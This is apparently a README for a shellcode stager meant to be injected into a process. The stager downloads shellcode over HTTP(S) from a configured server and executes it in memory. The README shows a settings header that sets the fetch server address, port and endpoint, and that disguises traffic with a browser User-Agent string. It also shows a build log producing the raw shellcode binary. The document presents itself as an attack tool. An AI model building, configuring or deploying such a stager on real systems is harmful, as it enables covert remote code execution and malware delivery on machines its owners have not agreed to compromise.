Stager to be injected into a process. Capable of loading shellcode from a HTTP(S) origin and execute it in memory.
The settings can be found in the settings.hpp file:
#ifndef SETTINGS_HPP
#define SETTINGS_HPP
// The server address to fetch the shellcode from
#define SERVER_ADDRESS "172.16.121.1"
// The server port
#define SERVER_PORT 8000
// The endpoint path to fetch the shellcode from
#define ENDPOINT_PATH "/path_to_shellcode"
// Use HTTPS, comment out if not
#define USE_HTTPS
// User-Agent string to use in HTTP requests
#define USER_AGENT "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.200 "
// Initial buffer size for downloading the shellcode (128 KB)
#define INITIAL_BUFFER_SIZE (128 * 1024)
// Size of each read operation (8 KB)
#define READ_BUFFER_SIZE 8192
#endif$ make
[+] Compiling C++ -> obj/shellcode.o
[+] Assembling ASM -> obj/entry_point.o
[+] Linking object files -> bin/shellcode.exe
x86_64-w64-mingw32-ld: bin/shellcode.exe:.text: section below image base
[+] Extracting raw shellcode -> bin/shellcode.bin
[*] Success! Final shellcode is in bin/shellcode.bin
$ ll bin/shellcode.bin
.rw-r--r-- 1.2k bin/shellcode.bin